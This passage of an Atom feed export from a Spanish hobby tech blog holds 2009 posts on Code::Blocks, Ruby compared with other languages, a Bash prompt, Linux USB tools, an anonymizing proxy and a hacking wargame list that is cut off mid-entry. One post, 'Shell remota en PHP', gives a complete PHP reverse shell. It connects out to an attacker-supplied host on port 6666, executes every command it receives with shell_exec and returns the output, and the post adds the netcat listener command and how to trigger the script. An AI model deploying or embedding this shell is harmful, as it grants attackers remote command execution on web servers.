medias.&lt;br /&gt;*Sintaxis de subrayado y coloreado totalmente personalizable.&lt;br /&gt;*Características a ampliar mediante plugins.&lt;br /&gt;*Las características aquí mostradas no son todas, sino un resumen traducido de las más notorias.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Plugins:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;Hay tres tipos de plugins:&lt;br /&gt;-Los desarrollados y mantenidos por el Staff de Code::Blocks. Estos vienen instalados por defecto.&lt;br /&gt;-Los desarrollados y mantenidos por contribuidores de C::B. Vienen en el repositorio y los puedes instalar a tu gusto.&lt;br /&gt;-Los desarrollados y mantenidos por terceras personas ajenas a C::B. No vienen en el repositorio, pero los puedes encontrar en foros (por ejemplo, en el de C::B)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Descargas:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.blogger.com/goog_1255258752149"&gt;Página principal&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.codeblocks.org/features"&gt;Características&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/goog_1255258752147"&gt;Descargas&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.codeblocks.org/cbplugins"&gt;Plugins&lt;/a&gt;&lt;br /&gt;&lt;a href="http://forums.codeblocks.org/"&gt;Foros&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.codeblocks.org/"&gt;Wiki&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-45033492111537525?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/45033492111537525/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=45033492111537525' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/45033492111537525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/45033492111537525'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/10/hace-poco-os-presentabamos-wxwidgets.html' title='Code::Blocks'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-5419062258607972025</id><published>2009-10-02T14:13:00.005+02:00</published><updated>2009-12-22T15:39:48.500+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Conexiones'/><title type='text'>Shell remota en PHP</title><content type='html'>Para usar la shell necesitáis el netcat. Lo podéis bajar de &lt;a href="http://netcat.sourceforge.net/download.php"&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Para instalarlo tenéis que ir a la consola y poner:&lt;br /&gt;netcat-0.7.1$ &lt;span style="color:blue;"&gt;./configure&lt;/span&gt;&lt;br /&gt;netcat-0.7.1$ &lt;span style="color:blue;"&gt;make&lt;/span&gt;&lt;br /&gt;netcat-0.7.1# &lt;span style="color:blue;"&gt;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El código de la shell:&lt;br /&gt;&lt;fieldset&gt;&lt;font color="blue"&gt;&lt;i&gt;&lt;pre&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;set_time_limit(0);&lt;br /&gt;&lt;br /&gt;$sock = fsockopen("&lt;b&gt;IP/DNS&lt;/b&gt;", 6666);&lt;br /&gt;&lt;br /&gt;fputs($sock, gzinflate(base64_decode(urldecode("4%2BLSUsACgaIuCqEKEQoKCsEKHgquCj5AqIVDLRcA"))));&lt;br /&gt;&lt;br /&gt;while(1){&lt;br /&gt; $resp = fgets($sock, 6666);&lt;br /&gt;&lt;br /&gt; if($resp){&lt;br /&gt;    $sys = shell_exec($resp);&lt;br /&gt;    fputs($sock, "$sys\n\n");&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;/i&gt;&lt;/font&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Y luego, en la línea de comandos, escribes; nc -vv -l -p 6666 (el verbose no hace falta)&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/_wn0vzk5BOQA/SsWYqDi2XxI/AAAAAAAAAAU/YQK5m1umBsU/s400/netcat.png" /&gt;&lt;br /&gt;&lt;br /&gt;La conexión es inversa, por lo que tendréis que solicitar la página al servidor para que el interprete de PHP haga la conexión. Lo podéis hacer visitando la página, por ejemplo, http://127.0.0.1/www/client_shell.php o podéis hacerlo con la consola usando telnet, netcat, etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-5419062258607972025?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/5419062258607972025/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=5419062258607972025' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5419062258607972025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5419062258607972025'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/10/shell-remota-en-php.html' title='Shell remota en PHP'/><author><name>Dux</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='25' src='http://3.bp.blogspot.com/_wn0vzk5BOQA/SsexkIFJNRI/AAAAAAAAAAg/0MieS9_xX0I/S220/wassup.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_wn0vzk5BOQA/SsWYqDi2XxI/AAAAAAAAAAU/YQK5m1umBsU/s72-c/netcat.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-390435122589639018</id><published>2009-09-20T15:42:00.006+02:00</published><updated>2009-09-20T16:25:21.378+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Scripting'/><title type='text'>Cambiar el color de un comando erróneo</title><content type='html'>Con mi vuelta al blog vuelven mis entradas. Ayer me pasé por&lt;br /&gt;&lt;img style="width: 199px; height: 37px;" src="http://maketecheasier.com/wp-content/themes/MTE-custom/images/mte-logo1.png" /&gt;&lt;br /&gt;y encontré una entrada con cinco códigos bash para mejorar y personalizar tu consola de comandos. Os voy a poner sólo uno, que fue el que más me atrajo.&lt;br /&gt;&lt;br /&gt;Se trata de un código que hace que en tu consola aparezca el número de historial de la línea de Bash en la que trabajas y, además, incluye la función de que si el comando que introdujiste anteriormente era correcto, me explico con una imagen sacada del mismo blog:&lt;br /&gt;&lt;img src="http://images.maketecheasier.com/2009/08/bashprompts-hurring.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Código:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 120, 0);"&gt;'PS1="\[\033[0;33m\][\!]\`if [[ \$? = "0" ]]; then echo "\\[\\033[32m\\]"; else echo "\\[\\033[31m\\]"; fi\`[\u.\h: \`if [[ `pwd|wc -c|tr -d " "` &amp;gt; 18 ]]; then echo "\\W"; else echo "\\w"; fi\`]\$\[\033[0m\] "; echo -ne "\033]0;`hostname -s`:`pwd`\007"'&lt;/span&gt;&lt;br /&gt;Dudas en los comentarios, por favor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-390435122589639018?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/390435122589639018/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=390435122589639018' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/390435122589639018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/390435122589639018'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/09/cambiar-el-color-de-un-comando-erroneo.html' title='Cambiar el color de un comando erróneo'/><author><name>Z-Cripter</name><uri>http://www.blogger.com/profile/12814985455656744673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-2830106456815635271</id><published>2009-09-19T16:52:00.002+02:00</published><updated>2009-09-19T17:34:08.710+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Linux Live USB Creator 2.0 Beta</title><content type='html'>Linux Live USB Creator es una aplicación de código abierto  diseñada para Windows muy útil a mi manera de ver. Esta aplicación te permite crear un USB portable con Linux. Incluye la opción de usar VirtualBox para abrir Linux desde el mismo Windows.&lt;br /&gt;&lt;br /&gt;Es muy fácil de usar y sólo necesitas un pendrive de aproximadamente 1GB&lt;br /&gt;&lt;br /&gt;Puedes instalar Ubuntu 9.04, Fedora, CrunchBang, Mint, Kuki y algunos más, descárgate y prueba LiLi (Linux Live USB Creator)&lt;br /&gt;&lt;br /&gt;Para correr Linux desde Windows, LiLi usa VirtualBox 3.0.&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;PD:Comenten sus experiencias ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-2830106456815635271?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/2830106456815635271/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=2830106456815635271' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2830106456815635271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2830106456815635271'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/09/linux-live-usb-creator-20-beta.html' title='Linux Live USB Creator 2.0 Beta'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-8498906404343048256</id><published>2009-09-16T13:45:00.004+02:00</published><updated>2009-09-19T16:51:56.630+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ruby'/><title type='text'>Comparando Ruby [III]</title><content type='html'>&lt;h2&gt;&lt;a name="SECTION00091000000000000000"&gt; &lt;/a&gt;&lt;/h2&gt;&lt;h2&gt;&lt;a name="SECTION00091000000000000000"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h2&gt;&lt;a name="SECTION00091000000000000000"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h2&gt;&lt;a name="SECTION00091000000000000000"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h2&gt;&lt;a name="SECTION00091000000000000000"&gt;&lt;/a&gt;&lt;/h2&gt;Volvemos con la tercera y última entrada de esta pequeña serie. También con la noticia de que SKiP y Z-Cripter vuelven al blog (con entradas preparadas) recién confirmada por MSN. Pasamos a comparar las ventajas y desventajas de este lenguaje que es Ruby.&lt;br /&gt;&lt;h2&gt;&lt;a name="SECTION00091000000000000000"&gt;Ventajas&lt;/a&gt;&lt;/h2&gt;&lt;h2&gt;&lt;a name="SECTION00091000000000000000"&gt;&lt;/a&gt; &lt;/h2&gt;  &lt;ul&gt;&lt;li&gt;Es un lenguaje muy poderoso y con una sintaxis simple y consistente&lt;/li&gt;&lt;li&gt;Fácil de aprender, sobre todo si ya sabías o al menos tenías nociones básicas de Perl, Python o Smalltalk (sólo un poco menos si sabías Java o C++)&lt;/li&gt;&lt;li&gt;Es un lenguaje maduro, de siete años de antigüedad.&lt;/li&gt;&lt;li&gt;Unas librerías ricas y extensas en contenido.&lt;/li&gt;&lt;li&gt;Amplia comunidad de ayuda&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Fácil de instalar&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;  &lt;/p&gt;&lt;h2&gt;&lt;a name="SECTION00092000000000000000"&gt; Desventajas&lt;/a&gt; &lt;/h2&gt;  &lt;ul&gt;&lt;li&gt;No es muy conocido, al menos no tanto como puede ser C, Java, Perl, etc.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;RAA (&lt;span style="font-size:100%;"&gt;Ruby Application Archive&lt;/span&gt;) no es todavía tan grande o automatizado como CPAN (&lt;span style="font-size:100%;"&gt;&lt;a id="top"&gt;Comprehensive Perl Archive Network)&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Poca información escrita comparada con otros lenguajes (me refiero a libros)&lt;/li&gt;&lt;li&gt;Pocos programadores avanzados.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1&gt;&lt;a name="SECTION000110000000000000000"&gt; &lt;/a&gt; &lt;/h1&gt;  &lt;p&gt;Este documento está sujeto a:&lt;/p&gt;&lt;p&gt;Copyright © 1993, 1994, 1995, 1996, &lt;a href="http://cbl.leeds.ac.uk/nikos/personal.html"&gt;Nikos Drakos&lt;/a&gt;,  Computer Based Learning Unit, University of Leeds.&lt;br /&gt;Copyright © 1997, 1998, 1999, &lt;a href="http://www.maths.mq.edu.au/%7Eross/"&gt;Ross Moore&lt;/a&gt;,  Mathematics Department, Macquarie University, Sydney.&lt;br /&gt;© HackyBloggy 2009&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Saludos :D&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-8498906404343048256?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/8498906404343048256/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=8498906404343048256' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8498906404343048256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8498906404343048256'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/09/comparando-ruby-iii.html' title='Comparando Ruby [III]'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-2922476000191306735</id><published>2009-09-16T13:30:00.002+02:00</published><updated>2009-09-16T13:45:09.743+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ruby'/><title type='text'>Comparando Ruby [II]</title><content type='html'>En esta segunda entrada compararemos Ruby como hicimos en la primera, pero esta vez con Smalltalk y Python. También observaremos ciertas ventajas y desventajas de Ruby.&lt;br /&gt;&lt;h2&gt;&lt;a name="SECTION00053000000000000000"&gt; Smalltalk&lt;/a&gt; &lt;/h2&gt;  &lt;ul&gt;&lt;li&gt;Ruby está basado en archivos.&lt;/li&gt;&lt;li&gt;La sintaxis de Ruby resulta más familiar.&lt;/li&gt;&lt;li&gt;Sólo tiene IDEs antiguas.&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;  &lt;/p&gt;&lt;h2&gt;&lt;a name="SECTION00054000000000000000"&gt; Python&lt;/a&gt; &lt;/h2&gt;  &lt;ul&gt;&lt;li&gt;Ruby usa una estructura conservativa de estados, usando "end"&lt;/li&gt;&lt;li&gt;"self." no es necesario, las variables de instancia de Ruby llevan el prefijo "@"&lt;/li&gt;&lt;li&gt;Python separa tipos y  clases, Ruby no.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Los tipos de Python son más limitados:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;No se puede añadir métodos a tipos existentes.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Ruby tiene una mejor función de cierre.&lt;/li&gt;&lt;li&gt;Los atributos de objetos no son accesibles por defecto en Ruby.&lt;/li&gt;&lt;li&gt;Ruby convierte los pequeños y grandes enteros("intenger") automáticamente.&lt;/li&gt;&lt;li&gt;Ruby no tiene tuplas (información sobre tuplas en &lt;a href="http://es.wikipedia.org/wiki/Tuplas"&gt;Wikipedia&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Las extensiones para Ruby están escritas en C o C++ y definen mejor las clases de Ruby.&lt;/li&gt;&lt;li&gt;Ruby ofrece un método de combinación usando "super".&lt;/li&gt;&lt;li&gt;Ruby suele ser más rápido que Python.&lt;/li&gt;&lt;/ul&gt;Ahora que ya acabamos comparando Ruby, vamos a pasar a ver las ventajas y desventajas de este lenguaje en la próxima entrada.&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;h1&gt;&lt;a name="SECTION000110000000000000000"&gt; &lt;/a&gt; &lt;/h1&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-2922476000191306735?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/2922476000191306735/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=2922476000191306735' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2922476000191306735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2922476000191306735'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/09/comparando-ruby-ii.html' title='Comparando Ruby [II]'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-3588718481828740218</id><published>2009-09-14T13:49:00.003+02:00</published><updated>2009-09-14T14:10:33.452+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ruby'/><title type='text'>Comparando Ruby [I]</title><content type='html'>Después de esta larga ausencia (las vacaciones es lo que tienen) el blog vuelve con la reincorporación de SKiPeX y Z-Cripter, que no de Notmebug. En esta entrada vamos a intentar comparar Ruby junto a otros lenguajes como Java y Perl, y en la entrada número dos Smalltack y Python.&lt;br /&gt;&lt;h2&gt;&lt;a name="SECTION00051000000000000000"&gt; Java&lt;/a&gt; &lt;/h2&gt;  &lt;ul&gt;&lt;li&gt;Ruby es un lenguaje interpretado.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Todo son objetos (sin distinciones con Intenger/int)&lt;/li&gt;&lt;li&gt;Módulos usados para almacenar implementaciones entre clases.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Variables y expresiones no son escritas estáticamentes.&lt;/li&gt;&lt;li&gt;Códigos más cortos, por ejemplo:    &lt;ul&gt;&lt;li&gt;Leer líneas de un archivo:&lt;pre&gt;     1 &lt;span class="comment"&gt;// ================&lt;/span&gt;&lt;br /&gt;   2 &lt;span class="comment"&gt;// Java&lt;/span&gt;&lt;br /&gt;   3 &lt;br /&gt;   4 import java.io.*;&lt;br /&gt;   5 &lt;br /&gt;   6 try {&lt;br /&gt;   7     BufferedReader in =&lt;br /&gt;   8         new BufferedReader(new FileReader(fileName));&lt;br /&gt;   9     String line;&lt;br /&gt;  10     while ((line = in.readLine()) != null) {&lt;br /&gt;  11         &lt;span class="comment"&gt;// Use the line...&lt;/span&gt;&lt;br /&gt;  12     }&lt;br /&gt;  13 }&lt;br /&gt;  14 catch (FileNotFoundException fnfe) {&lt;br /&gt;  15     System.err.println(fnfe.toString());&lt;br /&gt;  16 }&lt;br /&gt;  17 catch (IOException ioe) {&lt;br /&gt;  18     System.err.println(ioe.toString());&lt;br /&gt;  19 }&lt;br /&gt;  20 &lt;br /&gt;  21 &lt;span class="comment"&gt;# ================&lt;/span&gt;&lt;br /&gt;  22 &lt;span class="comment"&gt;# Ruby&lt;/span&gt;&lt;br /&gt;  23 &lt;br /&gt;  24 begin&lt;br /&gt;  25     IO.foreach(fileName) { | line |&lt;br /&gt;  26         &lt;span class="comment"&gt;# Use the line...&lt;/span&gt;&lt;br /&gt;  27     }&lt;br /&gt;  28 rescue&lt;br /&gt;  29     $stderr.puts $!&lt;br /&gt;  30 end&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h2&gt;&lt;a name="SECTION00052000000000000000"&gt; Perl&lt;/a&gt; &lt;/h2&gt;  &lt;ul&gt;&lt;li&gt;Ruby es más fácil de anprender y usar.&lt;/li&gt;&lt;li&gt;No hay código con $@% (en Ruby, &lt;span style="font-family:monospace;"&gt;"&lt;/span&gt;&lt;tt&gt;@" &lt;/tt&gt;y &lt;tt&gt;"$"&lt;/tt&gt; se refieren a una variable, no escritos)&lt;/li&gt;&lt;li&gt;Ruby copia algunas cosas de Perl: expresiones extendidas, los     &lt;tt&gt;$_&lt;/tt&gt; ,y más.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;br /&gt;PD:Los códigos y las comparaciones están basadas en artículos sobre Ruby y demás lenguajes, principalmente de "io.com". En la versión dos, Smalltack y Python!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-3588718481828740218?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/3588718481828740218/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=3588718481828740218' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3588718481828740218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3588718481828740218'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/09/comparando-ruby-i.html' title='Comparando Ruby [I]'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-8590623587068256824</id><published>2009-08-06T20:56:00.002+02:00</published><updated>2009-08-06T21:03:52.936+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>The Cloak - Proxy</title><content type='html'>En esta entrada paso a hablar de una técnica que hasta ahora no habíamos tratado en el blog: la navegación anónima.&lt;br /&gt;&lt;img src="http://www.the-cloak.com/cloak_banner.gif" /&gt;&lt;br /&gt;&lt;br /&gt;The Cloak nos permite navegar anónimamente, cambiando nuestra IP y activando/desactivando Banners, Java, JavaScript y múltiples opciones más. Su uso es muy simple. Sólo tenemos que entrar a la web de la aplicación y hacer click en &lt;img src="http://www.the-cloak.com/pointer.gif" /&gt; &lt;img src="http://www.the-cloak.com/start_surf_tag.gif" /&gt;.&lt;br /&gt;&lt;br /&gt;Una vez hagamos click empezaremos a configurar las opciones del proxy. Tras configurar cosas como las cookies, el JavaScript y demás, pulsamos en el botón Start Surfing.&lt;br /&gt;&lt;br /&gt;Podéis comprobar que funciona, sin ir más lejos surfeando a &lt;a href="http://www.miip.es/"&gt;esta web&lt;/a&gt; desde el proxy y desde el navegador normal para comprobar que vuestra IP real ha cambiado. Disfrutad esta estupenda aplicación y comentadnos cómo os ha ido.&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;iframe src="http://www.chambersharrap.co.uk/chambers/features/chref/chref.py/main?lookitup&amp;amp;title=21st&amp;amp;query=elegir%20cosas&amp;amp;css=body%7Bbackground-image:none;margin:5px%7Ddiv.hr%7Bdisplay:none%7D&amp;amp;crop=%3Cdiv%20class=%22hr%22%3E%7C%3Cdiv%20class=%22hr%22%3E" style="border: 1px solid black; width: 460px; height: 100%; top: 0px; right: 0px; padding-left: 0px; position: fixed; background-color: white; z-index: 1000; display: none;" id="ResultBox3"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-8590623587068256824?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/8590623587068256824/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=8590623587068256824' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8590623587068256824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8590623587068256824'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/08/cloak-proxy.html' title='The Cloak - Proxy'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-5617421935122125496</id><published>2009-07-31T15:23:00.003+02:00</published><updated>2009-07-31T15:34:37.257+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>HackQuest -- Nuevo Wargame</title><content type='html'>Hola, soy Not_Mebug, antiguo escritor del blog y me he decidido a mandar un mail a la dirección indicada en &lt;a href="http://hackybloggy.blogspot.com/2008/10/quieres-colaborar.html"&gt; este link &lt;/a&gt;. Me imagino que el email llegará con publicidad pero ya se ocupa Guille de quitarla. Escribo este mail para enseñaros un wargame que he encontrado recientemente. Se llama HackQuest y consta de 98 pruebas distintas divididas en 12 categorías.&lt;br /&gt;El método de registro es muy fácil y el sitio tiene un estilo muy atractivo. Os recomiendo 100% la creación de una cuenta. Este tipo de sitios acaba siendo instructivo y lúdico.&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 446px; height: 72px;" src="http://www.hackquest.com/themes/HackQuest2/images/toplogo.gif" /&gt;&lt;br /&gt;&lt;br /&gt;Lista de pruebas:&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;b&gt;Applet&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=10"&gt;1.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=10"&gt;Hello, I am a Java Applet&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=11"&gt;2.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=11"&gt;And I try to hide something&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=12"&gt;3.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=12"&gt;Now where does that index go?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a 